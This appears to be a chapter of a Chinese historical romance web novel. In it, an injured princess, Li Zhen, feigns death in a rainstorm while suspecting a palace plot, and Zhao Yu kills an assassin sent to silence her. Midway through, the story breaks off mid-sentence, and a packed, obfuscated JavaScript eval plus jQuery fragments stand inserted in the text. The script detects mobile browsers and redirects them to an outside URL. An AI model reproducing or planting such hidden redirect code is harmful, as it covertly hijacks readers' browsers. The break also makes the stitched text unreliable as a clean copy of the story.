头痛欲裂的感觉,五脏六腑仿佛移了位一样。
李祯没反应过来便摔在地上,嘴角有种温热的感觉,她想要抬起手却感觉没有力气。
真的要死在这里了么。
好不甘心啊……
她还有好多事情没有做,怎么可以就这样结束呢。应该是肋骨断了吧,太疼了。
迷迷糊糊的她看见树林中似乎有人影向着这边来。
————
羽林军按照太子侍卫提供的大概位置行进着,他们兵分几路分头寻找长公主的行踪,展开地毯式的搜索,不肯放过一丝一毫的细节。
“这里有痕迹。”一位羽林军开口,拿起树旁树叶覆盖着的地方,泥土下面的马蹄印记看起来不像是正常速度行驶下留下的。
为首负责的羽林军总领名为,陈广顺。
听见部下的声音,他骑着马向那边走过去,看见留下的痕迹若有所思。他抬头下令,“你们这队人马往其他这几个方向去找找看有没有疏忽的线索。其余人随吾往这边。殿下大概率是往这边去了。”
“走吧,抓紧出发。”只见对位分别往各自的方向去,一大部分随着陈广顺向留下马蹄的方向去,另外一小部分则是往另外的方向去。
像是树枝从中间分开般,队伍也就此分成两部分。
此刻的赵遇却是从赵德方才派来通报的人口中得到探子给的内情消息,他已经知晓李祯的位置。剩下的就是尽快的赶过去。
赵遇脑海里闪过无数种可能,越想越慌乱。他只想快些,再快一些。赶在一切发生之前。
马儿的速度极快,踏过的地方掀起地上的落叶作响。马背上的他颠簸着,压低身子贴在上面。
为了尽快的赶到他不惜绕路,从崎岖的小路经过。尽管危险但是他不想考虑那么多了。
大概是倒了霉,原本晴空万里的天空中,原本的白云消散的无影无踪。取而代之的是成片的乌云。
它们很快遮住了原本高悬的太阳,天空中隐隐传来响声。
雨星子像是细细密密的银针落在赵遇的肩头,这样的天气犹如他此刻的心情一样阴沉着。
雨水落在原本干燥的衣服上,大红的的飞鱼服逐渐被雨水打湿,染成深红色。
雨越下越大,直到衣服彻底淋透,彻底变成了深红色。雨水顺着他的额头淋下去,若不是被发网扣紧恐怕淋湿的头发会挨着视线。
真不赶巧,这种时候下了雨只会更麻烦。因为下雨原本的土路全成了又黏又滑的泥土,骑的太快容易打滑。
眼前的路越来越看不清,雨太大了,他只感觉脸上也都是雨水。但是他不敢眨眼也不敢伸手去擦拭。生怕抬手间挡住视线错过正确的路。
……
她已经尽力了。
好冷,她感觉到有什么砸在身上。让她的意识逐渐变得清醒了一些。
是雨。下雨了啊。
她知道景帝一定会派人来的。只是不知道会过多久,又会不会幸运的找到此处呢。
雨水会冲刷掉她来路的痕迹,还真是倒霉了。等他们的人来的时候应该是来给她收尸的吧,她这样想着。
她动了动手指,发现过去这么久也恢复了一些知觉。她并没有直接坐起来。此时稍微清醒过来的她脑袋快速的转动着。
金乌失控绝非偶然,是人为的。
是要害她么?
恐怕不是。
金乌是李璋的马,应该是要害李璋的。她飞快的想着可能动手的人。
景帝厌恶李璋,但他就这么一个儿子,断然也不会是他下的手。况且要是真想除掉他,早早的在他幼时就除掉了。不会等他长这么大,又在秋猎这么多人面前做。
不过也不是没可能,这样制造一场意外掩人耳目。但是他这么做没有任何好处,除掉了太子,皇位又传给谁。
所以不是他。
难道是近来作为宾客的宇文邕?
这倒是有可能的。
宇文邕不满和她和离的事情,景帝似乎也没打算逼自己和他回去,算是尊重她的意思。况且他的妹妹幽妃的死和景帝脱不了关系,他要趁机报仇也是有可能的。
景帝的身体本来就不好,就算是不动手估计也活不久了。他若是动手对景帝下手,对皇帝下手,他作为异国宾客又和她刚刚和离,第一个就会怀疑到他身上。显然退而求其次,对李璋下手也不是没可能。
但若宇文邕的目标是李璋,那么他对金乌下手之后,马又被换给她骑。宇文邕也是看见了的。他虽不满自己和他和离,但是她敢确定这家伙现在对她甚至还有些说不清道不明的好感,看起来不至于只是因为杀了她。
而且他会为了报复景帝杀掉李璋么?被发现之后事情不是上升的更复杂了,李璋还是他亲外甥。
这么想来他嫌疑不大,但不排除。
李璋提出和她换马,随后又刻意与宇文邕讲话将他引开。
不过这应该是偶然的。
李璋是一手带大的,对她几乎是言听计从。但是也说不准离开八年之后有了别的想法,毕竟他长大了要面对的困境很多。唯感情至上显然太不现实。
只是现下她与李璋没发生什么矛盾,况且现在他们是一个阵营的人。他们有共同的敌人——赵德。
李祯反应过来,她竟想了一圈忘了这个人。
她感觉细思极恐。
如果真是赵德的话他的胆子太大了,而且恐怕事情比她想象的还要糟糕。对太子动手,他应该是故意想制造一起看似是意外的祸端。
至太子于死地。
而且景帝最近也……
赵德的心思很明确了,几乎不想再藏了吧。李祯大胆推测,他敢这么对李璋下手应该到处都有他的人,出事之后会帮他处理干净。
那她现在身边岂不是……
李祯想了想决定先不坐起来了,现在四周肯定潜伏着赵德的人。事情败露之后肯定会彻查,虽然不知道事后赵德能不能妥善的解决。
但虽然阴差阳错搞错了人,那这个人肯定不会留活口的。
不能让赵德的人发现自己还没死。
她又闭上眼,在原处一动不动。
……
一直潜伏在林中的探子盯着李祯的情况。
他不敢离得太近,做事要保险一些,所以他自然是没有看见方才微微动起来的李祯。
他怕景帝的人会在附近。在确保无人来此处之后,为了确保万无一失,他终于从暗处走出来朝着李祯的“尸体”靠近。
李祯躺在地上,耳旁是雨声。她能感觉到自己坚持不了多久,她还是想赌一把。赌一把景帝的人能不能在她装死被发现之前来找到她。
她听见脚步声。
那不是一群人的脚步声,而是一个人的。
她的心凉下来,她猜到应该是赌错了,应该是赵德的人。
那脚步声越来越近,她感每一步都和自己的心跳的节拍重合。
她看不见,便开始肆无忌惮的在她耳边放大。应该也是高度紧绷的精神导致她的听觉格外灵敏。
她听见急促的马蹄声从另一个方向传来。
赵遇看见树旁李祯倒下的身影勒马翻下身,他太激动了地上又滑他差点摔倒。
殿下怎么一动不动。
她怎么了?
想到这他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248020|196641||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思维不受控制的往不好的方向去想,大脑还没反应过来,身体已经先他一步本能的往她的地方狂奔。
他看见那一幕,紧绷的神经彻底断开了。只见一身黑的蒙面人拿着剑向李祯走去。他明白过来那是干爹的人,是来灭口的。
他想都没想,就在千钧一发之刻,他掏出腰间的佩刀挡住了朝着李祯准备刺去的剑。
哐当一声,那人的剑被赵遇用力的挡住。
那人认出赵遇,皱起眉头来。
现在是什么情况?
“大人?怎么是你?”,那人只露出一双眼睛的声音像是故意压着嗓子,听不出是谁来。
他不敢露出破绽,这样的人应该是干爹培养出来的死侍。是经过严苛的训练的,一点表情的变化都骗不过他们的眼睛。
他表现出一脸冷漠的神情,随后淡淡道,“你刚刚是准备干什么,对长公主动手么?”
那人皱眉开口道,“事情败露不能留活口。”
赵遇直勾勾的看着他随后站的笔直,他把手背后去不然颤抖的手一定会暴露他现在的心情。
听见那人的话赵遇一瞬间变了脸,像是听见什么大逆不道的话一样。他故意瞪着眼睛,“干爹这么说的?”
那人沉默起来,赵德并没有通知这种话。只是按照规矩肯定是不能留活口的,计划败露之后从来没有过允许留下任何破绽。
“你真是大胆,干爹没开口你就随便做这种决定么。吾告诉你,是干爹派吾来的。原计划是要除掉太子,现在出了差池。”那人听赵遇义正言辞的开口道。
“长公主身份特殊,干爹就是怕你这蠢货做了什么事,反而是引起不该有的祸端。特意叫吾来阻止行动,还好赶上了。你现在的任务完成了,只不过怕是留下马脚。你恐怕不能留活口了,你自己来还是让吾来。”
他的话带着不容置疑的决绝,完全看不出他说的是假的。不过那人像是在思考着,辨别真伪。
赵遇本来就是背着他干爹来的,怎么可能让人活着回去,直接趁机举剑。
那人发出咯咯声。
咚的一声,脖子上一空便身首异处去了。
折番擅自行动也不知道赵德会不会对他起疑,不过他已经想到如何解释了。赵德对他还是很好的,这样的事知道怎么处理。其实只是善后麻烦了一些,他会替赵德都处理干净最后将功补过的。
但他绝对不能允许李祯出事。
对不住了干爹,允许儿子就那么一次没听您的话吧。
您也会理解的吧。
为了心爱之人。
赵德怎么也不会想到当年看好的人,精心栽培留在身边接班的人会把感情看的比权力都要重。
赵德从小教他的那句话叫不能有任何软肋,而情是最大的软肋。
这世界是只有情最靠不住。
多少人被这种虚无缥缈的东西害得落个悲惨的结局。
武帝的父亲心软,重父子情。最后却眼睁睁看着武帝这个亲儿子将其他兄弟屠尽得到了皇位。
幽妃重情,最后被景帝害的抛下儿子吊死。景帝却没有失去任何东西,只是失去了一个他本来就不爱的女人。
“到那边慢慢想去吧。”赵遇把沾血了血的剑收回剑鞘。
赵遇听惯了那样的教诲。
却还是忍不住的已经陷进去了啊。
没办法,谁让他整个人都是明月的呢,他心甘情愿。
————
他害怕明月真已经……
探子被处理之后他再也没有了刚刚沉稳的模样转过身向着明月冰冷的身子扑过去抱住她,带着哭腔大喊。
“殿下!”